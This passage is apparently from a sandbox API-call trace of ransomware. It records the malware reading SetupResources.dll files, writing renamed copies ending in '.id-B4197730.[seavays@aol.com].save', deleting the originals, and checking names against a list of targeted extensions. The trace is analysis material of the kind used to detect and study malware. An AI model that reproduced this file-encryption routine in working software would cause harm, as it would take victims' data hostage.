WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0065.868] GetTickCount () returned 0x26567 [0065.868] GetTickCount () returned 0x26567 [0065.868] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0066.112] GetTickCount () returned 0x26661 [0066.112] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0067.045] GetTickCount () returned 0x269fb [0067.045] GetTickCount () returned 0x269fb [0067.045] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0067.669] GetTickCount () returned 0x26c7b [0067.669] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0068.237] GetTickCount () returned 0x26eae [0068.237] GetTickCount () returned 0x26eae [0068.237] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0068.652] GetTickCount () returned 0x27044 [0068.652] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0069.149] GetTickCount () returned 0x27238 [0069.149] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0069.538] GetTickCount () returned 0x273bf [0069.538] GetTickCount () returned 0x273bf [0069.538] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0071.264] GetTickCount () returned 0x27a85 [0071.264] GetTickCount () returned 0x27a85 [0071.264] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0072.013] GetTickCount () returned 0x27d73 [0072.013] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0072.452] GetTickCount () returned 0x27f29 [0072.452] GetTickCount () returned 0x27f29 [0072.452] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0072.987] GetTickCount () returned 0x2813c [0072.987] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0073.538] GetTickCount () returned 0x2835f [0073.538] GetTickCount () returned 0x2835f [0073.538] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0073.977] GetTickCount () returned 0x28514 [0073.977] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0074.306] GetTickCount () returned 0x2865c [0074.306] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0074.770] GetTickCount () returned 0x28831 [0074.770] GetTickCount () returned 0x28831 [0074.770] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0075.373] GetTickCount () returned 0x28a92 [0075.373] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0075.903] GetTickCount () returned 0x28ca6 [0075.903] GetTickCount () returned 0x28ca6 [0075.903] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0076.449] GetTickCount () returned 0x28eb9 [0076.449] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0076.906] GetTickCount () returned 0x2908e [0076.907] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0077.456] GetTickCount () returned 0x292b1 [0077.456] GetTickCount () returned 0x292b1 [0077.456] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0077.755] GetTickCount () returned 0x293d9 [0077.755] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0078.119] GetTickCount () returned 0x29541 [0078.119] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0078.373] GetTickCount () returned 0x2964a [0078.374] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0079.179] GetTickCount () returned 0x29967 [0079.179] GetTickCount () returned 0x29967 [0079.179] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0079.685] GetTickCount () returned 0x29b6b [0079.685] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0080.356] GetTickCount () returned 0x29e0b [0080.356] GetTickCount () returned 0x29e0b [0080.356] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) Thread: id = 12 os_tid = 0xe98 [0050.035] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x72dba0 [0050.036] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x73dba8 [0050.036] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fcdd0 [0050.036] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x72d260 [0050.036] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fcea8 [0050.036] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x38d0020 [0050.038] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce60 [0050.038] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fce60, Size=0x20) returned 0x6deae8 [0050.038] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fd028 [0050.038] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fd028, Size=0x20) returned 0x6deb10 [0050.039] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0050.039] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0050.039] Wow64DisableWow64FsRedirection (in: OldValue=0x25cff50 | out: OldValue=0x25cff50*=0x0) returned 1 [0050.039] lstrlenW (lpString="kernel32.dll") returned 12 [0050.039] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deae8 | out: hHeap=0x6a0000) returned 1 [0050.039] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0050.039] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deb10 | out: hHeap=0x6a0000) returned 1 [0050.039] Sleep (dwMilliseconds=0x64) [0050.637] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.637] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.637] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.759] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=18264) returned 1 [0050.759] CloseHandle (hObject=0x2ec) returned 1 [0050.759] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0050.760] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.760] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.760] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.760] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.760] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0050.762] GetLastError () returned 0x0 [0050.762] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4758, lpOverlapped=0x0) returned 1 [0050.828] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4760, lpOverlapped=0x0) returned 1 [0050.830] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0050.830] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0050.830] SetEndOfFile (hFile=0x2f0) returned 1 [0050.830] CloseHandle (hObject=0x2f0) returned 1 [0050.831] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.832] SetEndOfFile (hFile=0x2ec) returned 1 [0050.832] CloseHandle (hObject=0x2ec) returned 1 [0050.833] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0050.833] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0050.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0050.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0050.833] lstrlenW (lpString=".doc") returned 4 [0050.833] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.833] lstrlenW (lpString=".docx") returned 5 [0050.833] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.833] lstrlenW (lpString=".pdf") returned 4 [0050.833] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.833] lstrlenW (lpString=".xls") returned 4 [0050.833] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.833] lstrlenW (lpString=".xlsx") returned 5 [0050.833] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.833] lstrlenW (lpString=".ppt") returned 4 [0050.833] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0050.833] lstrlenW (lpString=".zip") returned 4 [0050.833] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.834] lstrlenW (lpString=".rar") returned 4 [0050.834] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.834] lstrlenW (lpString=".bz2") returned 4 [0050.834] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.834] lstrlenW (lpString=".7z") returned 3 [0050.834] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0050.834] lstrlenW (lpString=".dbf") returned 4 [0050.834] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0050.834] lstrlenW (lpString=".1cd") returned 4 [0050.834] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0050.834] lstrlenW (lpString=".jpg") returned 4 [0050.834] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0050.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0050.834] lstrlenW (lpString=".doc") returned 4 [0050.834] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.834] lstrlenW (lpString=".docx") returned 5 [0050.834] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.834] lstrlenW (lpString=".pdf") returned 4 [0050.834] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.834] lstrlenW (lpString=".xls") returned 4 [0050.834] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.834] lstrlenW (lpString=".xlsx") returned 5 [0050.834] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.834] lstrlenW (lpString=".ppt") returned 4 [0050.834] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0050.834] lstrlenW (lpString=".zip") returned 4 [0050.834] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.834] lstrlenW (lpString=".rar") returned 4 [0050.835] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.835] lstrlenW (lpString=".bz2") returned 4 [0050.835] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.835] lstrlenW (lpString=".7z") returned 3 [0050.835] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0050.835] lstrlenW (lpString=".dbf") returned 4 [0050.835] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0050.835] lstrlenW (lpString=".1cd") returned 4 [0050.835] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0050.835] lstrlenW (lpString=".jpg") returned 4 [0050.835] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.835] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.835] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.835] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.835] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=18776) returned 1 [0050.835] CloseHandle (hObject=0x2ec) returned 1 [0050.838] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0050.838] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.838] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.838] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.838] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.838] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0050.847] GetLastError () returned 0x0 [0050.847] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4958, lpOverlapped=0x0) returned 1 [0050.851] WriteFile (in: hFile=0x2e8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4960, lpOverlapped=0x0) returned 1 [0050.852] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0050.852] WriteFile (in: hFile=0x2e8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0050.853] SetEndOfFile (hFile=0x2e8) returned 1 [0050.853] CloseHandle (hObject=0x2e8) returned 1 [0050.854] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.854] SetEndOfFile (hFile=0x2ec) returned 1 [0050.855] CloseHandle (hObject=0x2ec) returned 1 [0050.855] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0050.855] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0050.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0050.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0050.855] lstrlenW (lpString=".doc") returned 4 [0050.855] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.855] lstrlenW (lpString=".docx") returned 5 [0050.855] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.855] lstrlenW (lpString=".pdf") returned 4 [0050.855] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.855] lstrlenW (lpString=".xls") returned 4 [0050.855] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.855] lstrlenW (lpString=".xlsx") returned 5 [0050.855] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.856] lstrlenW (lpString=".ppt") returned 4 [0050.856] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0050.856] lstrlenW (lpString=".zip") returned 4 [0050.856] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.856] lstrlenW (lpString=".rar") returned 4 [0050.856] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.856] lstrlenW (lpString=".bz2") returned 4 [0050.856] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.856] lstrlenW (lpString=".7z") returned 3 [0050.856] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0050.856] lstrlenW (lpString=".dbf") returned 4 [0050.856] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0050.856] lstrlenW (lpString=".1cd") returned 4 [0050.856] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0050.856] lstrlenW (lpString=".jpg") returned 4 [0050.856] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0050.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0050.856] lstrlenW (lpString=".doc") returned 4 [0050.856] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.856] lstrlenW (lpString=".docx") returned 5 [0050.856] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.856] lstrlenW (lpString=".pdf") returned 4 [0050.856] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.856] lstrlenW (lpString=".xls") returned 4 [0050.856] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.856] lstrlenW (lpString=".xlsx") returned 5 [0050.856] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.856] lstrlenW (lpString=".ppt") returned 4 [0050.856] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0050.857] lstrlenW (lpString=".zip") returned 4 [0050.857] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.857] lstrlenW (lpString=".rar") returned 4 [0050.857] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.857] lstrlenW (lpString=".bz2") returned 4 [0050.857] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.857] lstrlenW (lpString=".7z") returned 3 [0050.857] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0050.857] lstrlenW (lpString=".dbf") returned 4 [0050.857] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0050.857] lstrlenW (lpString=".1cd") returned 4 [0050.857] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0050.857] lstrlenW (lpString=".jpg") returned 4 [0050.857] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.857] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.857] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.857] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.857] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=17240) returned 1 [0050.857] CloseHandle (hObject=0x2ec) returned 1 [0050.858] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0050.858] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.858] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.858] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.858] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.858] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0050.981] GetLastError () returned 0x0 [0050.981] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4358, lpOverlapped=0x0) returned 1 [0050.987] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4360, lpOverlapped=0x0) returned 1 [0050.988] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0050.988] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0050.988] SetEndOfFile (hFile=0x2f0) returned 1 [0050.989] CloseHandle (hObject=0x2f0) returned 1 [0050.990] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.990] SetEndOfFile (hFile=0x2ec) returned 1 [0050.991] CloseHandle (hObject=0x2ec) returned 1 [0050.991] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0050.991] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0050.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0050.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0050.991] lstrlenW (lpString=".doc") returned 4 [0050.991] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.991] lstrlenW (lpString=".docx") returned 5 [0050.991] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.991] lstrlenW (lpString=".pdf") returned 4 [0050.991] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.991] lstrlenW (lpString=".xls") returned 4 [0050.991] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.991] lstrlenW (lpString=".xlsx") returned 5 [0050.991] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.991] lstrlenW (lpString=".ppt") returned 4 [0050.992] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0050.992] lstrlenW (lpString=".zip") returned 4 [0050.992] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.992] lstrlenW (lpString=".rar") returned 4 [0050.992] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.992] lstrlenW (lpString=".bz2") returned 4 [0050.992] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.992] lstrlenW (lpString=".7z") returned 3 [0050.992] lstrcmpiW (lpString1=".7z", lpString2="dll") returned 